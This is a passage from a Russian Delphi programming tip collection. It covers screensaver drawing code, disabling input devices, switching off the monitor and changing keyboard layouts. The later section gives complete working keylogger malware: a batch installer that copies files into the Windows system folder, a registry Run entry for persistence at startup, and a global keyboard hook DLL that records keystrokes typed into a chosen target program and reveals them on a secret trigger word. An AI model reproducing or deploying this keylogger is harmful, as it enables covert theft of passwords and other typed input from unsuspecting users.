Виртуальная библиотека Delphi

TPCPAFund ОПРЕДЕЛЕН как:

Type

TPCPAFunc = Function(A : PChar; Parent : hWnd; B,C : Integer) : Integer; StdCall;

(Не спрашивайте меня что за параметры B и C) Теперь единственная вещь, которую нам нужно рассмотреть, — самая странная часть: создание графики. Я не великий ГУРУ графики, так что Вы не увидите затеняющие многоугольники, вращающиеся в реальном времени. Я только сделал некоторые ящики.

Procedure DrawSingleBox;

Var

PaintDC : hDC;

Info : TPaintStruct;

OldBrush : hBrush;

X,Y : Integer;

Color : LongInt;

Begin

PaintDC := BeginPaint(PreviewWindow,Info);

X := Random(MaxX); Y := Random(MaxY);

If SolidColors Then

Color := GetNearestColor(PaintDC,RGB(Random(255), Random(255),Random(255)))

Else Color := RGB(Random(255),Random(255),Random(255));

OldBrush := SelectObject(PaintDC,CreateSolidBrush(Color));

If RoundedRectangles Then

RoundRect(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y),20,20)

Else Rectangle(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y));

DeleteObject(SelectObject(PaintDC,OldBrush));

EndPaint(PreviewWindow,Info);

End;

Чтобы закончить создание хранителя, я даю Вам некоторые детали. Первые, глобальные переменные:

Var

IsPreview : Boolean;

MoveCounter : Integer;

QuitSaver : Boolean;

PreviewWindow : hWnd;

MaxX,MaxY : Integer;

RoundedRectangles : Boolean;

SolidColors : Boolean;

Затем исходная программа проекта (.dpr). Красива, а!?

program MySaverIsGreat;

uses

windows, messages, Utility; { defines all routines }

{$R SETTINGS.RES}

begin

RunScreenSaver;

end.

Ох, чуть не забыл: Если, Вы используете SysUtils в вашем проекте (StrToInt определен там) Вы получаете большой EXE чем обещанный 20k. Если Вы хотите все же иметь20k, Вы не можете использовать SysUtils так, или Вам нужно написать вашу собственную StrToInt программу.

Конец.

Use Val... ;-)

перевод: Владимиров А.М.

От переводчика. Если все же очень трудно обойтись без использования Delphi-форм, то можно поступить как в случае с вводом пароля: форму изменения параметров хранителя сохранить в виде DLL и динамически ее загружать при необходимости. Т.о. будет маленький и шустрый файл самого хранителя экрана и довеска DLL для конфигурирования и прочего (там объем и скорость уже не критичны).

Иногда может возникнуть необходимость в выключении на время устройств ввода — клавиатуры и мыши. Например, это неплохо сделать на время выполнения кода системы защиты от копирования, в играх, или в качестве "наказания" при запуске программы по истечению срока ее бесплатного использования… Однако наилучшее ее применение — отключение клавиатуры и мыши на время работы демонстрационки, основанной на воспроизведении записанных заранее перемещений мышки и клавиатурного ввода (см. об этом отдельный раздел этой книги). Это элементарно сделать при помощи API:

EnableHadwareInput(Enable:boolean): boolean;

Enable — требуемое состояние устройств ввода (True — включены, false — выключены). Если ввод заблокирован, то его можно разблокировать вручную — нажать Ctrl+Alt+Del, при появлении меню "Завершение работы программы" ввод разблокируется.

А вот еще интересный прикол.

Включение/выключение монитора программным способом.

Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.

Отключить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

Включить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);

Для переключения языка применяется вызов LoadKeyboardLayout:

var russian, latin: HKL;

russian:=LoadKeyboardLayout('00000419', 0);

latin:=LoadKeyboardLayout('00000409', 0);

-- -- -- -- -- где то в программе --- --- ---

SetActiveKeyboardLayout(russian);

Вот, может поможет:

>1. Setup.bat

=== Cut ===

@echo off

copy HookAgnt.dll %windir%\system

copy kbdhook.exe %windir%\system

start HookAgnt.reg

=== Cut ===

>2.HookAgnt.reg

=== Cut ===

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"kbdhook"="kbdhook.exe"

=== Cut ===

>3.KbdHook.dpr

=== Cut ===

program cwbhook;

uses Windows, Dialogs;

var

hinstDLL: HINST;

hkprcKeyboard: TFNHookProc;

msg: TMsg;

begin

hinstDLL := LoadLibrary('HookAgnt.dll');

hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');

SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);

repeat until not GetMessage(msg, 0, 0, 0);

end.

=== Cut ===

>4.HookAgnt.dpr

=== Cut ===

library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports KeyboardProc;

var

hFileMappingObject: THandle;

fInit: Boolean;

procedure DLLMain(Reason: Integer);

begin

if Reason = DLL_PROCESS_DETACH then begin

UnmapViewOfFile(lpvMem);

CloseHandle(hFileMappingObject);

end;

end;

begin

DLLProc := @DLLMain;

hFileMappingObject := CreateFileMapping(THandle($FFFFFFFF), // use paging file

nil, // no security attributes

PAGE_READWRITE, // read/write access

0, // size: high 32 bits

4096, // size: low 32 bits

'HookAgentShareMem' // name of map object

);

if hFileMappingObject = INVALID_HANDLE_VALUE then begin

ExitCode := 1;

Exit;

end;

fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

lpvMem := MapViewOfFile(

hFileMappingObject, // object to map view of

FILE_MAP_WRITE, // read/write access

0, // high offset: map from

0, // low offset: beginning

0); // default: map entire file

if lpvMem = nil then begin

CloseHandle(hFileMappingObject);

ExitCode := 1;

Exit;

end;

if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);

end.

=== Cut ===

>5.KeyboardHook.pas

=== Cut ===

unit KeyboardHook;

interface

uses Windows;

const PASSWORDSIZE = 16;

var

g_hhk: HHOOK;

g_szKeyword: array[0..PASSWORDSIZE-1] of char;

lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;

var

szModuleFileName: array[0..MAX_PATH-1] of Char;

szKeyName: array[0..16] of Char;

lpszPassword: PChar;

begin

lpszPassword := PChar(lpvMem);

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin

GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then

lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

lstrcat(g_szKeyword, szKeyName);

GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and

(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then

lstrcat(lpszPassword, szKeyName);

if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin

ShowMessage(lpszPassword);

g_szKeyword[0] := #0;

end;

Result := 0;

end

else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

end.

=== Cut ===

Я хотел бы узнать, при запуске моего приложения, нажата ли клавиша Ctrl. Просто хочется сделать, что-то вроде пароля.